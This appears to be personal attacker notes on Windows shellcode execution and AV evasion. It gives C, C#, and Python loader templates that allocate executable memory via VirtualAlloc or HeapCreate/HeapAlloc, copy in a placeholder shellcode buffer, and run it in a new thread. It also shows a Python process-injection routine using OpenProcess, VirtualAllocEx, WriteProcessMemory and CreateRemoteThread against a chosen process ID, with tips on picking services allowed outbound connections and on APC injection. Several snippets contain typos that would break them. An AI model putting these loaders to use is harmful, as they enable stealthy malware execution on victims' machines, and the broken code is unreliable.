Use QueueUserApc instead of CreateRemoteThread
try avoid:
VirtualAlloc:
C#:
#include <windows.h>
#include <stdio.h>
#include <string.h>
int main()
{
LPVOID lpvAddr;
HANDLE hHand;
DWORD dwWaitResult;
DWORD threadID;
unsigned char buff[] = "BUFFER_SHELLCODE";
lpvAddr = VirtualAlloc(Null, strlen(buff),0x3000,0x40);
RtlMoveMemory(lpvAddr, buff, strlen(buff));
hHand = CreateThread(NULL, 0, lpvaddr, NULL, 0, &ThreadID);
dwWaitResult = WaitForSingleObject(hHand, INFINITE);
return 0
}
Python:
RWX:
import ctypes
shellcode = b"BUFFER_SHELLCODE"
allocated_memory = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x300),ctypes.c_int(0x04))
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(allocated_memory),shellcode,ctypes.c_int(len(shellcode)))
changed_protections = ctypes.windll.kernel32.VirtualProtect(ctypes.c_int(allocated_memory),ctypes.c_int(len(shellcode)),ctypes.c_int(0x20),ctypes.byref(ctypes.c_unint32(0)))
thread_running_shellcode = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctpyes.c_int(0),ctpyes.c_int(allocated_memory),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(thread_running_shellcode),ctypes.c_int(-1))
RX:
import ctypes
shellcode = b"BUFFER_SHELLCODE"
allocated_memory = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x300),ctypes.c_int(0x04))
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(allocated_memory),shellcode,ctypes.c_int(len(shellcode)))
changed_protections = ctypes.windll.kernel32.VirtualProtect(ctypes.c_int(allocated_memory),ctypes.c_int(len(shellcode)),ctypes.c_int(0x10),ctypes.byref(ctypes.c_unint32(0)))
thread_running_shellcode = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctpyes.c_int(0),ctpyes.c_int(allocated_memory),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(thread_running_shellcode),ctypes.c_int(-1))
ctypes = WinAPI interaction
VirtualAlloc = memory allocation
HeapCreate/ HeapAlloc:
could work for AV evasion, but has to run as RWX
using system;
using System.Net;
using System.Net.Sockets;
using System.Runting.InteropServices;
using System.Threading;
namespace slksdf
{
class ajksnlksdf
{
[DllImport("Kernel32")]
private static extern UInt32 HeapCreate(UInt32 HeapCreate1,UInt32 HeapCreate2, UInt32 HeapCreate3);
[DllImport("Kernel32")]
private static extern UInt32 HeapAlloc(UInt32 HeapAlloc1, UInt32 HeapAlloc2, UInt32 HeapAlloc3);
[DllImport("Kernel32")]
private static extern UInt32 RtlMoveMemory(UInt32 RtlMoveMemory1, byte[] RtlMoveMemoryByte, UInt32 RtlMoveMemory3);
[DllImport("Kernel32")]
private static extern IntPtr CreateThread(UInt32 CreateThread1,UInt32 CreateThread2, UInt32 CreateThread3, IntPtr CreateThread4, UInt32 CreateThread5, ref UInt32 CreateThread6);
[DllImport("Kernel32")]
private static extern IntPtr WaitForSingleObject(IntPtr WaitForSingleObject1, UInt32 WaitForSingleObject2);
static void main()
{
byte[] BYTE = { SHELLCODE };
UInt32 CreateHeap = HeapCreate(0x00040000, (UInt32)BYTE.Length, 0);
UInt32 AllocHeap = HeapAlloc(CreateHeap, 0x00000008, (UInt32)BYTE.Length);
RtlMoveMemory(HeapAlloc, BYTE, (UInt32)Byte.Length);
UInt32 Zero = 0;
IntPtr ThreadCreate = CreateThread(0, 0, AllocHeap, IntPtr.Zero, 0, ref Zero);
WaitForSingleObject(ThreadCreate, 0xFFFFFFF);
}
}
}
Python:
import ctypes
shellcode = b'SHELLCODE'
HeapCreateOutput = ctypes.windll.kernel32.HeapCreate(ctypes.c_int(0x00040000),ctypes.c_int(len(shellcode)*2),ctypes.c_int(0))
HeapAllocOutput = ctypes.windll.kernel32.HeapAlloc(ctypes.c_int(HeapCreateOutput),ctypes.c_int(0x00000008),ctypes.c_int(len(shellcode)))
ShellCodeBuffer = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(HeapAllocOutput),ShellCodeBuffer,ctypes.c_int(len(shellcode)))
CreateThreadOutput = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(HeapAllocOutput),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(CreateThreadOutput),ctypes.c_int(-1))
ProcessInjection/ VirtualAllocEx:
expects a handle to a process - great for shellcode injecting into process, imports as follows:
VirtualAllocEx(hProcess, lpAddress, dwSize, flAllocationType, flProtect)
OpenProcess(dwDesiredAccess, bInheritHandle, dwProcessId)
WriteProcessMemory(hProcess, lpBaseAddress, lpBuffer, nSize, *lpNumberOfBytesWritten)
CreateRemoteThread(hProcess, lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, lpThreadId)
VirtualProtectEx()
try run against something in userland i.e:
Service that is allowed for outbound connection
Python:
import ctypes
hex1 = 0x40
hex2 = 0x1F0FFF
hex3 = 0x00001000
kernel32_import = ctypes.windll.kerner32
shellcode = b"SHELLCODE"
process_numer = 309
shellcode_length = len(shellcode)
OpenProcess_handle = kernel32_import.OpenProcess(hex2, False, process_numer)
VirtualAllocEx_handle = kernel32_import.VirualAllocEx(OpenProcess_handle, 0, shellcode_length, hex3, hex1)
kernel32_import.WriteProcessMemory(OpenProcess_handle, VirtualAllocEx_handle, shellcode, shellcode_length, 0)
kernel32_import.CreateRemoteThread(OpenProcess_handle, None, 0, VirtualAllocEx_handle, 0, 0, 0)
QUserAPC? - Execute code that you inject into remote process - way more used that CreateRemotethread
Ordinal Values:
API Call
Windows 7
Windows 10
Windows 11